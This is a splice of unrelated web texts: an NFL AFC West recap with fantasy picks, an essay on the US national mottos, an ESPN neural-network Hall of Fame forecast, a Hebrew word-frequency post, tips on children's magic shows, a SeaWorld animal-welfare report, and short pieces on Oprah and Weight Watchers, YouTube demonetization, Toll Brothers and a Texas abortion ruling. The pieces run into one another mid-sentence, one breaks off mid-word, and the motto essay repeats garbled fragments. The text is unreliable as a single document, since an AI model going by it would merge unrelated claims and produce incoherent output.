Oakland Raiders – Well that was an ugly win. But at this point, the Oakland Raiders will take it. In a game that both teams were both flagged for 10 penalties each, the Raiders edged the Miami Dolphins 27-24 on Sunday Night Football. The win moved the team to 4-5 and keeps them in the hunt for the playoffs. For the third consecutive game, Derek Carr threw for 300 yards. It seems like Carr is finally in rhythm this season and it comes at the best time for the Raiders. Surprisingly, the two heroes of the game were Jared Cook and Marshawn Lynch. Beast Mode returned from his one-game suspension and rushed for two touchdowns, his first multi-scoring game since December of 2014. Cook, who’s on pace for career highs in receptions and yards, came through catching eight passes for 126 yards and multiple third down conversion as well. The Raiders head into their bye on a good note.
Kansas City Chiefs – How the mighty have fallen. After looking like the team to beat in the AFC earlier this season, the Kansas City Chiefs have dropped three out of their last four games, including this past weekends showdown with the Dallas Cowboys, 28-17. Alex Smith threw his first interception of the season but still had a solid day with 263 yards passing and two TD passes. After starting the season with seven straight games of 100 yards of total offense, Kareem Hunt now has two straight under that mark. Hunt rushed for 37 yards (nine carries) and had 24 yards receiving. The Dallas Cowboys were able to corral the rookie and never allowed him to get going. That was his lowest total so far in his young career. Not everyone had a rough game like Hunt, as Travis Kelce and Tyreek Hill both caught TDs from Smith and continued to display a strong passing attack. The Chiefs are still in full control of the AFC West and their own destiny.
Denver Broncos – Ever since their bye in Week 5, the Denver Broncos have done nothing but lose each week. Last weekend was no different. The Broncos were blasted by the 8-1 Philadelphia Eagles, 51-23. This game marked the season debut for former starting quarterback Brock Osweiler. He had himself an “Osweiler” type game, for a lack of better words, with a low completion percentage (50%) and multiple interceptions (2). Demaryius Thomas had himself a day, though. The five-time pro bowler caught eight passes for 70 yards and the Broncos only touchdown. If there’s one constant for this offense, it’s Thomas. I can’t say the same for the rushing attack for the Broncos. CJ Anderson was once again a victim of a lopsided score and a tough defense. Anderson was limited to only nine carries and could not get anything going against the front seven of the Eagles, led by Brandon Graham and Fletcher Cox. It doesn’t get any easier for Denver, with New England coming into town for Sunday Night Football this weekend.
Los Angeles Chargers – Bye
What to Watch For:
Can Philip Rivers navigate through the Jaguars pass defense? With only two teams playing in the AFC West this week, and the Broncos playing pitifully on offense lately, the Chargers passing attack wins this section by default. Philip Rivers will go against the league’s best pass defense in terms of passing yards allowed, and the unit who has the fourth most interceptions this season. The Jaguars pass defense, led by Jalen Ramsey and AJ Bouye, have pestered opposing quarterbacks all year. Only Ben Roethlisberger has thrown for over 300 yards against this defense this season, but it also took him 55 attempts, and he had five INTs too. So, Rivers and company will need to do their best to get things going early against Todd Wash’s defense to have any chance of winning this ball game. If Rivers can, the Chargers have a good chance of beating the Jaguars on the road this weekend.
Who Brings the Boom:
Melvin Gordon: The Jaguars are stout against the pass, as mentioned above, but are vulnerable on the run. Melvin Gordon gets to feast against the NFL’s #26 ranked rush defense (total rushing yards allowed). On top of that, Jacksonville is allowing nearly five yards a carry and has allowed four teams to rush for over 100 total yards. Gordon, the ninth leading rusher in the league, is coming off a 132-yard performance against the Patriots two weeks ago and will be fresh coming off the bye this past weekend. In a potentially low scoring game, Gordon’s number will be called early and often in this one. Start him with confidence.
Who Drops the Ball:
Keenan Allen: On pace for his first 1,000-yard season since 2013, Keenan Allen gets a rough matchup against either Ramsey or Bouye in Jacksonville this weekend. Word came out Monday that Ramsey would not be suspended for his part in the fight between himself and AJ Green last week, so the sure-fire pro bowl corner will follow Allen around and make his life tough on Sunday. In a game where the Chargers could elect to run the ball more often, chances are, when Rivers takes his shots down the field, they will be on the opposite side of Ramsey. According to Pro Football Focus, Ramsey is the #3 rated defensive back this season. On top of that, Allen hasn’t caught a touchdown since week 1 and has been held under 75 yards receiving the last four weeks. If you have other options on your roster with better matchups, consider those instead of Allen this week.
Game Predictions:
Jacksonville Jaguars 24, Los Angeles Chargers 17
New England 27, Denver Broncos 13The U.S. National Mottos:
Their history & constitutionality
Sponsored link.
The original national motto: "E Pluribus Unum"
The original motto of the United States was secular. "E Pluribus Unum" is Latin for "One from many" or "One from many parts." It refers to the welding of a single federal state from a group of individual political units -- originally colonies and now states.
On 1776-JUL-4, Congress appointed John Adams, Benjamin Franklin, and Thomas Jefferson to prepare a design for the Great Seal of the United States. The first design, submitted to Congress on 1776-AUG-10 used the motto "E Pluribus Unum." It was rejected. Five other designs also failed to meet with Congress' approval during the next five years. In 1782, Congress asked Mr. Thomson, Secretary of Congress, to complete the project. Thomson, along with a friend named Barton, produced a design that was accepted by Congress on 1782-JUN-10. It included an eagle with a heart-shaped shield, holding arrows and an olive branch in its claws. The motto "E Pluribus Unum" appeared on a scroll held in its beak. The seal was first used on 1782-SEP-16. It was first used on some federal coins in 1795. 1
The replacement motto: "In God We Trust:"
The war of 1812 was an unusual conflict. Both sides claimed victory. The winner depends upon which history books or which country's schools you attended. Also, the war lasted well beyond 1812.
During 1814, Francis Scott Key (a.k.a. Frank) had an eventful September. "Traveling under a white flag, Key met with both an enemy general and admiral, recovered a war prisoner, became a war prisoner, watched a historical bombardment, lost a night's sleep, and wrote" what eventually became the American national anthem: The Star Spangled Banner. 1
The final stanza reads:
"And this be our motto: 'In God is our trust.'
And the Star Spangled Banner in triumph shall wave
O'er the land of the free and the home of the brave."
In 1864, the words were shortened to "In God We Trust" and applied to a newly designed two-cent coin.
Almost a century and a half ago, eleven Protestant denominations mounted a campaign to add references to God into the U.S. Constitution and other federal documents. Rev. M.R. Watkinson of Ridleyville PA was the first of many to write a letter to the Secretary of the Treasury Salmon P. Chase in 1861 to promote this concept. 2 Watkinson suggested the words "God, Liberty, Law." 3 In 1863, Chase asked the Director of the Mint, James Pollock to prepare suitable wording for a motto to be used on Union coins used during the Civil War. Pollock suggested "Our Trust Is In God," "Our God And Our Country," "God And Our Country," and "God Our Trust." Chase picked "In God We Trust" to be used on some of the government's coins. The phrase was a subtle reminder that the Union considered itself on God's side with respect to slavery. Ironically, so could the Confederacy; both could quote copious Bible passages in support of their position.
Congress passed enabling legislation. Since a 1837 Act of Congress already specified the mottos and devices that were to be placed on U.S. coins, it was necessary to pass another Act to enable the motto to be added. This was done on 1886-APR-22. "The motto has been in continuous use on the one-cent coin since 1909, and on the ten-cent coin since 1916. It also has appeared on all gold coins and silver dollar coins, half-dollar coins, and quarter-dollar coins struck since" 1908-JUL-1. 3
Decades later, Theodore Roosevelt disapproved of the motto. In a letter to William Boldly on 1907-NOV-11, he wrote:
"My own feeling in the matter is due to my very firm conviction that to put such a motto on coins, or to use it in any kindred manner, not only does no good but does positive harm, and is in effect irreverence, which comes dangerously close to sacrilege...It is a motto which it is indeed well to have inscribed on our great national monuments, in our temples of justice, in our legislative halls, and in building such as those at West Point and Annapolis -- in short, wherever it will tend to arouse and inspire a lofty emotion in those who look thereon. But it seems to me eminently unwise to cheapen such a motto by use on coins, just as it would be to cheapen it by use on postage stamps, or in advertisements."
In 1956, the nation was suffering through the height of the cold war, and the McCarthy anti-communist witch hunt. Partly in reaction to these factors, the 84th Congress passed a joint resolution to replace the existing motto with "In God we Trust." The president signed the resolution into law on 1956-JUL-30. The change was partly motivated by a desire to differentiate between communism, which promotes Atheism, and Western capitalistic democracies, which were at least nominally Christian. The phrase "Atheistic Communists" has been repeated so many times that the public has linked Atheism with communism; the two are often considered synonymous. Many consider Atheism as unpatriotic and un-American as is communism. The new motto was first used on paper money in 1957, when it was added to the one-dollar silver certificate. By 1966, "In God we Trust" was added to all paper money, from $1 to $100 denominations. 3
Most communists, worldwide, are Atheists. But, in North America, the reverse is not true; most Atheists are non-communists. Although there are many Atheistic and Humanistic legislators at the federal and state levels, few if any are willing to reveal their beliefs, because of the immense prejudice against Atheism. If they were open about their beliefs, none would ever have been elected.
During the 1950's the federal government's references to God multiplied:
The phrase " under God " was added to the otherwise secular Pledge of Allegiance.
" was added to the otherwise secular Pledge of Allegiance. " So help me God " was added as a suffix to the oaths of office for federal justices and judges. However, they are not compelled to recite the words. There has been a widespread belief that every president since George Washington has said these words during his inauguration. The belief appears to be without merit.
" was added as a suffix to the oaths of office for federal justices and judges. However, they are not compelled to recite the words. There has been a widespread belief that every president since George Washington has said these words during his inauguration. The belief appears to be without merit. American paper currency since 1957 has included the motto "In God We Trust." 4 The Freedom from Religion Foundation has been unable to find any other country in the world which has a religious motto on their money. 5 However, it appears that:
The Dutch have had a religious motto on their money for over a century (one source says since the 18 th century; an other says since 1816 CE). Coins carry the motto "God zij met ons." ("God be with us."). This motto has been carried over into the Netherlands version of the new 2 euro coin. 6,7
During the 1980's, former president Jose Sarney introduced into Brazilian paper money the phrase "Deus seja louvado" ("God be praised.")
Although not a motto, many British coins contain a drawing of the queen identified as " Elizabeth II D.G. REG. F.D." This is an abbreviation of a Latin phrase which means " Elizabeth II by the Grace of God Queen, Defender of the Faith." In Britain, the monarch is the head of the Church of England. Canadian coins carry the phrase " Elizabeth II D.G. Regina." She is the queen of Canada but is not the " Defender of the Faith," because Canada does not have a state religion for her to defend.
The has been unable to find any other country in the world which has a religious motto on their money. However, it appears that:
Sponsored link:
Is the motto constitutional?
The "In God we Trust" motto promotes theistic religion at the expense of non theistic religion and a secular lifestyle. It promotes the belief in a single, male deity which is followed by the main Abrahamic religions of Judaism, Christianity and Islam; however, it is foreign to the beliefs of many other religions: Buddhists do not believe in a personal deity; Zoroastrians and Wiccans believe in two deities; Hindus believe in many. It would seem to violate the principle of separation of church and state. Many Agnostics, Atheists, Buddhists, Hindus, Wiccans, other Neopagans, and others are offended by the motto. However, the religious motto has been challenged by three lawsuits and has been found to be constitutional. The courts basically found that the motto does not endorse religion.
"Aronow v. United States," 432 F.2d 242 (1970) in the United States Court of Appeals, Ninth Circuit The court ruled that:
"It is quite obvious that the national motto and the slogan on coinage and currency 'In God We Trust' has nothing whatsoever to do with the establishment of religion. Its use is of patriotic or ceremonial character and bears no true resemblance to a governmental sponsorship of a religious exercise."
"Madalyn Murray O'Hair, et al. v. W. Michael Blumenthal, Secretary of Treasury, et al." 588 F.2d 1144 (1979) in the United States Court of Appeals for the Fifth Circuit. Ms. O'Hair is (in)famous for successfully challenging compulsory prayer in U.S. public schools. The United States District Court, Western District of Texas, referring to the wording of the Ninth Circuit above, ruled that:
"From this it is easy to deduce that the Court concluded that the primary purpose of the slogan was secular; it served as secular ceremonial purpose in the obviously secular function of providing a medium of exchange. As such it is equally clear that the use of the motto on the currency or otherwise does not have a primary effect of advancing religion." This ruling was sustained by the Fifth Circuit court. 1
The Freedom From Religion Foundation, Inc. conducted a national survey which showed that "In God We Trust" was regarded as religious by an overwhelming percentage of U.S. citizens. They initiated a lawsuit on 1994-JUN-8 in Denver CO to have it removed from U.S. paper currency and coins. They also wanted it to be discontinued as the national motto. Their lawsuit was dismissed by the district Court without trial, on the grounds that "In God We Trust" is not a religious phrase! The Tenth-Circuit federal judge confirmed the dismissal, stating in part:
"...we find that a reasonable observer, aware of the purpose, context, and history of the phrase 'In God we trust,' would not consider its use or its reproduction on U.S. currency to be an endorsement of religion." 5
The U.S. Supreme Court declined to review all of these rulings. It might be embarrassing to them, because the motto also hangs on the wall at the Supreme Court. The Supreme Court has commented in passing on the motto saying that:
"[o]ur previous opinions have considered in dicta the motto and the pledge [of allegiance], characterizing them as consistent with the proposition that government may not communicate an endorsement of religious belief." Allegheny, 492 U.S.
Federal bill signed into law:
A bill to reaffirm "In God We Trust" as the national motto, and the phrase "Under God" in the Pledge of Allegiance was passed with a 99% vote in the House, and unanimously in the Senate. Rep. Todd Akin, (R-MO) voted for the measure. Apparently he is unaware that the "Under God" phrase is a relatively recent addition to the Pledge. He said: "I think the Congress was expressing the fact that they support the recitation of the pledge as it has always been supported. I think they're further saying that there isn't any problem with the First Amendment." Historian David Barton, president of WallBuilders, said: "This bill has no effect on the 'Under God' controversies, because we have seen in a number of cases that when Congress does something, the Supreme Court almost feels compelled to tell them to back off and leave them alone." 8
Sponsored links:
References used in this essay:
The following information sources were used to prepare and update the above essay. The hyperlinks are not necessarily still active today.
"God on our coins," American Atheists at: http://www.atheists.org/ "History of the motto 'In God We Trust'," Department of the Treasury, at: http://www.treas.gov/ "History of 'In God We Trust'," U.S. Department of the Treasury, at: http://www.treas.gov/ Authorized by HR 619, 1955-JUN-29. "U.S. Supreme Court turns down Foundation appeal," Freedom From Religion Foundation, at: http://www.ffrf.org/ "Euro introduction much more than just a replacement of guilder: National currency symbols end centuries-long history," The Windmill, 1999-OCT-7, at: http://www.godutch.com/ "Euro coins: Country specific side: Holland," at: http://www.euro.ecb.int/ Steve Jordahl, "President Signs Law Affirming God in the Pledge," Focus on the Family, CitizenLink, 2002-NOV-15. "In God We Trust: History of the motto of the U.S.A.," Cornerstone Ministries, 1997-DEC-01, at: http://www.christian-community.org/
Other Internet references:
R.C. Reynolds, " In God we trust; All others pay cash," at: http://home.flash.net/
," at: http://home.flash.net/ Suzy Meyer, "' In God We Trust' belongs in parent's curriculum," Cortez (CO) Journal, at: http://www.cortezjournal.com/edit147.htm
," Cortez (CO) Journal, at: http://www.cortezjournal.com/edit147.htm " In God We Trust: II Timothy 1:12, " Grace Baptist Church, Bloomington IN, at: http://www.brandonweb.com/
" Grace Baptist Church, Bloomington IN, at: http://www.brandonweb.com/ Pastor Randy, "In God We Trust: Psalm 33:6-12," at: http://www.fortresschurch.org/
Copyright © 2000 to 2012 by Ontario Consultants on Religious Tolerance
Originally written: 2000-AUG-13
Latest update: 2012-MAR-24
Author: B.A. Robinson
Sponsored link
Go to the previous page, or go to the "law and religion" menu, or to the "specific religious conflicts" menu, or choose:Neural networks roughly mimic how neurons in our own brains work. Neurons act as connected nodes, passing information across layers of nodes until it converges to answer a question -- usually some kind of prediction. The neural network is taught past examples, and it learns from each case by adjusting the weights of the connections between neurons until the difference between its predictions and the actual outcomes is minimized. Much of the software behind applications such as self-driving cars and facial recognition is powered by neural networks.
Neural networks can also accurately predict the chances of Pro Football Hall of Fame induction by interpreting which combinations of criteria voters actually rely on. Using that logic, should we expect Kurt Warner, LaDainian Tomlinson or Terrell Davis to be voted in this week?
Let's take a look:
How it works
Kurt Warner was revered as one of the top QBs of his era, but is he Hall of Fame-worthy? STEVE SCHAEFER/AFP/Getty Images
This kind of analytic model is especially good at handling complex relationships and logic among multiple factors. Suppose things worked like this: A running back wouldn't make the Hall without at least two All-Pro selections no matter how many total yards or Pro Bowl selections he has, except if his TDs also exceed some value. Neural networks can recognize those types of patterns in the data. Other kinds of prediction models are typically additive, and would errantly predict a Pro Bowl regular to be inducted without the other requisite qualifications. Neural networks capture a lot of the intuitive "you know it when you see it" aspects to a question.
Our Hall of Fame neural network accounts for the career attributes of past inducted players, as well as those who did not make the Hall. The model learns from the attributes of a career that voters consider most Hall-worthy, such as statistics, longevity, career awards and postseason performance (all data courtesy of Pro-Football-Reference.com). Yardage stats and touchdowns are adjusted each season for league averages and season length. At the end of the process, we essentially have a virtual, collective mind of the Hall voters.
Its accuracy and ability to generalize to new cases is tested by excluding each player one at a time from the set of learning cases, and then asking it to make a prediction about that player. If we didn't leave out a player's inputs before testing his prediction, it would be cheating. For example, we would need to leave Jets great Curtis Martin out of the RB learning cases before asking, "Would a guy like Martin make the Hall?" Otherwise it would already know the answer. The predictions are scored based on their accuracy, and this model's accuracy is uncanny -- it has missed on just one of the 139 QBs with five or more starting seasons since 1948 (George Blanda), and on just two of the 310 RBs (Floyd Little, John Henry Johnson) with four or more starting seasons since 1948.
How voters measure QBs and RBs
Terrell Davis won Super Bowls and rushing titles, but a short career hurts his chances. Focus on Sport/Getty Images
For QBs like Warner, what voters appear to weigh most heavily are total passing yards along with total wins and longevity -- which go hand in hand. Super Bowl appearances, wins and MVPs also factor into the minds of the voters, but All-Pro and Pro Bowl selections have historically been even more important.
For running backs like Tomlinson and Davis, what voters appear to weigh most heavily are total rushing yards, total touchdowns and longevity. Unlike with QBs, voters don't hold RBs responsible for wins and losses, and don't hold them responsible for postseason success either. Immortality as a running back is gained through racking up large totals and awards like All-Pro and Pro Bowl selections.
If you asked a voter if he or she simply counted up Pro Bowls and voted based on it, the voter would certainly say no. We know how flawed the selection process can be -- and the alteration of the Pro Bowl schedule/format and its relationship to the quality of players selected could cause the value of this data point to erode in the future. But collectively, it appears the voters do value Pro Bowls -- or at least they vote based on what those Pro Bowls represent. Multiple selections represent sustained excellence relative to one's peers, which I suspect is part of the core criteria for a Hall of Famer. And although Pro Bowl selections can sometimes be based on popularity or reputation, that's OK for our purposes. Remember it's called the Hall of Fame and not the Hall of Efficiency, nor any other particular metric.
Throughout this exercise, one thing has become clear: The voters have, as a whole, been very consistent with their standards. If a single model using the same standard can accurately predict who's in and out of the Hall since 1948, then that standard must have held firm over time. This pattern would be something we would expect if the selection process were largely based on precedent and on comparisons with current inductees.
That's not to say voters are robots who simply tally totals and all-star awards. Individually, voters each have their own criteria, but as a group, there are a limited number of factors that make the difference. If there are other factors, the neural network doesn't need them to get almost everyone right.
The Class of 2017
LaDainian Tomlinson is a surefire Hall of Famer -- if not this year, then soon. Steve Mitchell/US Presswire
This year, one QB finalist will be voted on in Houston. Kurt Warner appeared in three Super Bowls, won one and was its MVP. The undrafted journeyman's career was shortened by a late start, but it still spanned 12 seasons. He was a two-time All-Pro with enough era-adjusted yards and wins to make him a near lock to be inducted... eventually, at least. It might not be this year, but his record is consistent with others in the Hall. Keep in mind, the neural network isn't making a judgment on whether he should be in the Hall; it's only making a prediction based on how consistent his career was with those already in, compared to the careers of those left out. It might be best to put it this way: It would be remarkably inconsistent of the voters to ultimately exclude him.
Tomlinson, meanwhile, is a shoo-in. He earned three All-Pro citations and was selected to four Pro Bowls to go along with eye-watering total yards and TD numbers. He led the league in yards three times and in rushing TDs twice. His total (era-adjusted) yardage ranks sixth all-time, and his TDs rank second to Emmitt Smith. It would be shockingly inconsistent of the voters to not elect him.
Terrell Davis is the other RB finalist this year, and unfortunately for hopeful Broncos fans, the model puts his chances of being enshrined at less than 3 percent. His career burned brightly and he had great postseason success, but Davis' totals aren't there due to an injury-shortened career. Again, this is not to say he should or should not make the Hall, but his election would mark a significant break in precedent.
Next week, we'll be taking a deeper look at the neural networks for QBs and RBs in the Hall of Fame, and what they say about future induction of both current and recently retired players.
For more from ESPN Analytics, visit the ESPN Analytics Index.Hasn't it already become kitsch that 10,000 of something can get you mastery over something else, or something? Well, I'm no linguist (and my friends will tell you how slow I am at learning languages), but it seems that quite less than that number of words can give you a significant chunk of a language. How many less and how much of a chunk? Read on.
I looked into this because I wanted to boost my Hebrew skills, but i didn't know which words were the most important to learn, and in what order. I was memorizing words randomly and quite arbitrarily, picked up from books, conversations, and the like, and often would never hear the words in usage again. This felt frustrating and futile. It is often said (and makes perfect sense) that the most beneficial words to study are those that are used the most often in speech. This led me to a quandary, because I couldn't find any ready resource with a list of the most common spoken words in modern Hebrew.
I was discussing this with a friend over lunch one day and we came upon an idea: text subtitles in movies are nearly 100% dialogue, so movie subtitle files are perfect candidates for looking at frequency of spoken word usage. Luckily, my friend is an avid movie hoarder, and offered me a large supply of movie subtitle files on the spot. By aggregating enough such files together, we figured it should be possible to parse out individual words and get a pretty good idea of how often different words are used in bone-fide, modern, spoken Hebrew. So that's what I went ahead and did.
Aside from being extremely useful for my own studies, I found the results of this little experiment to be rather fascinating. To see why, take a look at the most common Hebrew words that came up on my list, in order from 1st to 36th:
hebrew word meaning (google translate) pronunciation cumulative % of word usage covered לא Not / no loh 2.8 את You (f) / * at / eht 5.4 אני I anee 7.9 זה It / that zeh 9.8 אתה You (m) atah 11.1 מה What mah 12.4 הוא He hoo 13.2 לי To me lee 14.1 על About / On al 14.9 לך To you lekhah / lakh (m/f) 15.5 כן Yes ken 16.1 של Of shel 16.7 יש There is yaysh 17.2 רוצה Want rotzeh / rotzah (m/f) 17.6 טוב Good tov 18.1 כל All kol 18.5 אבל But a-vahl 19.0 בסדר OK beseder 19.4 אם If eem 19.8 שלי My shel-ee 20.2 עם With eem 20.6 יודע Knows yo-dey-ah 21.0 היא She he 21.4 היה Was hayah 21.7 שלך Your shelkhah / shelakh (m/f) 22.1 הם They hehm 22.4 אותך You oh-takh 22.8 אז Then / so ahz 23.1 אותו Same oh-toh 23.4 רק Only rahk 23.7 אנחנו We ah-nakh-noo 23.9 יותר More yoh-tair 24.2 יכול Might / Can yah-kol 24.5 אותי Me oh-tee 24.7 למה Why lamah 25.0
(the * is for the 2nd meaning of the word 'eht,' which is as an article for direct definite objects. For example, to say " I ate the banana" in Hebrew, you would say something like: "I ate eht the banana"..).
Note the last column in the table, which marks the cumulative percentage of total word usages (out of >600,000) that are accounted for by each individual word plus all the words preceding it on the list. The amazing thing is that with only 36 words, we have covered 25% of total word usages in the language!
That's 36 words. How much comprehension will we have if we dutifully study and learn, say, 10,000 words? The answer is: around 80%. If you learn words in the order they appear on my list, here's how much more Hebrew you will have gained from your effort in learning each individual new word (i.e., the marginal amount of Hebrew gained per word):
It looks pretty good up until around 100 words, at which point you're already drowning in an abyss of seemingly futile vocabulary. Of course, this is somewhat misleading, since multiple forms of the same verb will come up separately on this list, and there's also much more to learn in a language than just vocabulary. Despite usage frequencies, not all words are equal. For example, if you're visiting Israel, you'll probably be most interested in knowing how to say 'bathroom' (sheh-roo-teem) and 'food' (okhel), among many others. But even so, if you want to put in minimal effort to get maximal lingual return, you're probably best off with my list.
If you want this list for the top 10,000 words in Hebrew (actually more), you can download it as an excel file by clicking HERE
Enjoy!While the people, especially children, watch the magic tricks with amazement and curiosity, it is the magician who has to prepare himself/herself a lot more elaborately for the show. Assuming that the magic tricks for kids would be easier to do might make him complacent. While it is true that the tricks would be rather simple, he has to keep note of the following points in the choice and performance of tricks:
While the target spectators are kids, the adults are also watching the show and, therefore, he shall not be complacent either in the performance or in the choice of tricks. If there is a likelihood that some of these might offend the parents of the children, these shall best be avoided. The magic tricks shall not be of the nature which can cause mental trauma to kids. Use of swords or other such material which is harmful shall be avoided. Care shall also be taken to show only those tricks which are not risky to perform. Since the children are innocent, they might try to emulate these tricks at home. And, showing dangerous tricks might not be a good idea. A magician shall also note that the tricks shall serve the entertainment value to the best and, if possible, the educative value shall also be incorporated. Further, it is good that the tricks are such that the children are able to relate what they are seeing. Using common objects which they see around is one of the ways to accomplish this. It is also important that the magician has a thorough understanding of what the children of a particular age group would be able to grasp and show the appropriate tricks only. The use of language, the speed and methods of delivery of spoken words and the actions done shall be carefully chosen as well. In fact, a magician has to be like a kid in order to perform the magic tricks for children.
As can be gauged from the points mentioned above that it is not as if a magician (http://www.magicianrahul.com/) can take liberty to perform for the kids for the simple reason that they are just kids and will not be able to understand what he does. Rather, it is just the other way round. There is a lot more preparation that needs to be done keeping in mind the sensitivities of both the kids and the adults and molding methods of performance accordingly. This is what also makes the difference between a top rated magician and a novice.Dr. Heather Rally, a veterinarian who has experience working with marine mammals, visited SeaWorld San Diego in September and October 2014. Her observations reveal that orcas aren’t the only ones who suffer at SeaWorld—dolphins, walruses, and pilot and beluga whales do, too. Here are her (not so) shocking findings:
1. Dolphins with skin conditions and likely depressed immune systems interacted with the public.
A study published in the Canadian Journal of Comparative Medicine found that “[s]tress, environmental conditions and general health appear to play a major role in the clinical manifestation of dolphin pox.” Despite the stressful conditions of confinement, dolphins are still expected to perform and interact with the public.
“The dolphins involved in human interaction activities had obvious skin lesions,” says Dr. Rally. These pox-like lesions could be seen on many of the dolphins at SeaWorld San Diego.
Visitors were still allowed in the water and often sat unsupervised by the side of the pool, putting their hands in the water and touching the dolphins. The only SeaWorld staff member in the area was sitting with her back toward the guests.
2. Bullying and aggressive fights among members of various species were apparently commonplace.
When whales and dolphins are held in captivity, the stress of being confined to tiny tanks results in aggression.
The most common injuries are rake marks that form when the teeth of dominant whales and dolphins scrape the skin of the less aggressive animals. These attacks can result in painful and serious injuries. “I observed dolphins ramming, chasing, and flipping, and attempting to slap each other with their flukes,” says Dr. Rally.
Dr. Rally observed dolphins with rake marks in various stages of healing.
Rake |
next Weight Watchers CEO.
As a member of the board of directors, this is one of her inherent roles. On the one hand, the media may have simply use this aspect of the job to bolster headlines. On the other hand, her celebrity influence doesn’t necessarily fade inside the boardroom. She’s easily the most recognizable name on the board of directors, and she’s the company’s second-biggest shareholder.
When it’s all said and done, she’s likely to have the final say in the matter.
And that brings up an interesting question: Should celebrity influence be wielded in a boardroom, particularly when choosing a new CEO of a struggling company?
To be fair, Winfrey has earned the right. She’s a board member because she’s a huge shareholder, and she bought her stake with her own money, which she earned creating her own multi-billion dollar media enterprise. Clearly she’s got a more legitimate level of business acumen than, say any of the Kardashians, who are famous (and presumably wealthy) for nothing other than being famous.
Still, Weight Watchers is an analog company in a digital world, in need of a mercy killing as opposed to a mere overhaul. Oprah Winfrey may be a television and media expert, but her task at hand is still mostly unfamiliar territory to her.
For that matter, the rejuvenation of Weight Watchers is going to be an unfamiliar task to anyone who takes the helm. It’s going to require getting people off their digital devices and wiping away what those consumers have learned for themselves about diet and exercise.
That’s not going to be an easy feat.
As off-putting as the idea of unmerited celebrity influence in a boardroom may be, in this case, it shouldn’t be a concern. Were it another name like Justin Bieber, Miley Cyrus or Kanye West, it might be a different story.
Winfrey is eating her own cooking, though, in that she’s got her own money on the line. At 62 years of age, she’s got enough life experience and business experience to know what she doesn’t know, and to read people correctly.
The bigger concern for owners of WTW stock should be the aforementioned challenge … a plethora of alternative weight-loss tools and options, many of which are free to use. Whoever the next chief is, if Weight Watchers can be saved, it’s going to take a massive paradigm shift for the organization.
Shareholders may want to brace themselves for the possibility that the company is becoming increasingly obsolete, following in the steps of the pay phone, the video rental store and typewriters.
Oprah’s not going to change that reality no matter who she likes as the next CEO.
As of this writing, James Brumley did not hold a position in any of the aforementioned securities.
More From InvestorPlaceAccording to YouTube, videos that bring attention to the ridiculous statements made by the likes of Nancy Pelosi and Maxine Waters are “not suitable for most advertisers.”
The video streaming service has “demonetized” a series of videos published by The American Mirror that many Americans likely find ridiculous.
One, published on September 28, featured Pelosi muttering “oh God” when she was asked a question about gun legislation during her weekly press conference.
Another one showed Waters ranting about Donald Trump and pushing for his impeachment during remarks at the funeral of comedian Dick Gregory.
Pelosi’s video received over 273,000 views, while Waters’s got over 102,000.
Each time, YouTube “demonetized” the video, claiming the content was “not suitable for most advertisers.”
The YouTube site lists several examples of content that violates its “advertiser-friendly content guidelines. Here are some that may apply:
Controversial issues and sensitive events: Video content that features or focuses on sensitive topics or events including, but not limited to, war, political conflicts, terrorism or extremism, death and tragedies, sexual abuse, even if graphic imagery is not shown, is generally not eligible for ads. For example, videos about recent tragedies, even if presented for news or documentary purposes, may not be eligible for advertising given the subject matter.
Are Pelosi’s and Waters’s words controversial in the eyes of YouTube?
Hateful content: Video content that promotes discrimination or disparages or humiliates an individual or group of people on the basis of the individual’s or group’s race, ethnicity or ethnic origin, nationality, religion, disability, age, veteran status, sexual orientation, gender identity, or other characteristic that is associated with systemic discrimination or marginalization is not eligible for advertising. Content that is satire or comedy may be exempt; however, simply stating your comedic intent is not sufficient and that content may still not be eligible for advertising.
Are their words “hateful” in the eyes of YouTube?
Incendiary and demeaning: Video content that is gratuitously incendiary, inflammatory, or demeaning may not be eligible for advertising. For example, video content that shames or insults an individual or group may not be eligible for advertising.
Do Pelosi and Waters use “gratuitously incendiary, inflammatory, or demeaning” words about Donald Trump, according to YouTube? And if so, what does that say about them as American elected officials?
To be clear, there is no commentary edited into the videos. There is no ridicule. The clips are just the Democrats’ words for all the world to see.
You be the judge:
In fact, many Democrats would likely cheer the statements made in the videos.
In June, YouTube punished The American Mirror when it posted a video of Hillary Clinton in which she called for “understanding” after radical Islamic terrorists carried out an attack on London.
That was deemed “not suitable,” as well.
YouTube provides an opportunity for a “manual review” of the content, “if you think our automated system got this wrong.”Bloomberg News Toll Brothers says worries about the spill has hit consumer confidence, and thus sales of homes. Here, a house being built in Raleigh, N.C.
The BP Oil Spill is an environmental disaster and a serious blow to the businesses and property owners along the Gulf Coast.
But did you know it also was killing “McMansion” sales across the nation?
Toll Brothers, the nation’s largest luxury home builder, warned late Wednesday that its sales activity is running 20% lower than a year earlier. One reason: “worries about the oil spill in the Gulf of Mexico and its effects on the economy and the environment have negatively impacted the outlook of American consumers,’’ the company’s Chief Financial Officer Joel Rassman said in a statement.
(Other reasons include the expiration of the home buyer tax credit and the fiscal crisis in Europe)
This isn’t the only time Toll has blamed the housing market’s problem on a disaster in the Gulf of Mexico (where incidentally, the company builds relatively few homes). Retiring CEO Bob Toll said in late 2006 that Hurricane Katrina, which made the U.S. look like “Bangladesh in a storm — bodies floating upside down, the government seemingly unable to do anything about it” was the beginning of the end of the housing boom, because it shook American consumer confidence.
It wouldn’t be a surprise if the oil spill becomes a convenient scapegoat for what ails businesses.
[Click below to keep reading]Abortion providers in Texas reacted with surprise and elation on Monday to the U.S. Supreme Court's decision to throw out the state's restrictive abortion law and said they aimed to reopen some clinics shut down since the measure was passed in 2013.
Since the law was passed by a Republican-led legislature and signed by a Republican governor, the number of abortion clinics in Texas, the second-most-populous U.S. state with about 27 million people, has fallen from 41 to 19.
"I am honestly surprised by the Supreme Court decision," Rachel Bergstrom-Carlson, health center manager at Planned Parenthood of Austin, said at the clinic that performs about 250 abortions per month in the Texas state capital.
But Bergstrom-Carlson said she does not think the ruling "all of the sudden creates open access" to abortion for Texas women or that it means other legislation intended to restrict women's access to safe and legal abortions will be scrapped.
Abortion providers said the law imposed medically unnecessary regulations that were intended to shut clinics. Texas state officials said the law was aimed at protecting women's health.
Dr. Bhavik Kumar, who performs abortions at Whole Woman's Health clinics in Texas, said abortion providers will seek to reopen some of the shuttered clinics but do not expect to be able to return to the number in operation prior to the law.
Negotiating new leases and hiring staff will mean a slow return to operations for those that do re-open, Kumar said.
The Supreme Court ruled that both key provisions of the law - requiring abortion doctors to have difficult-to-obtain "admitting privileges" at a local hospital and requiring clinics to have costly hospital-grade facilities - violated a woman's right to an abortion established in a 1973 landmark ruling.
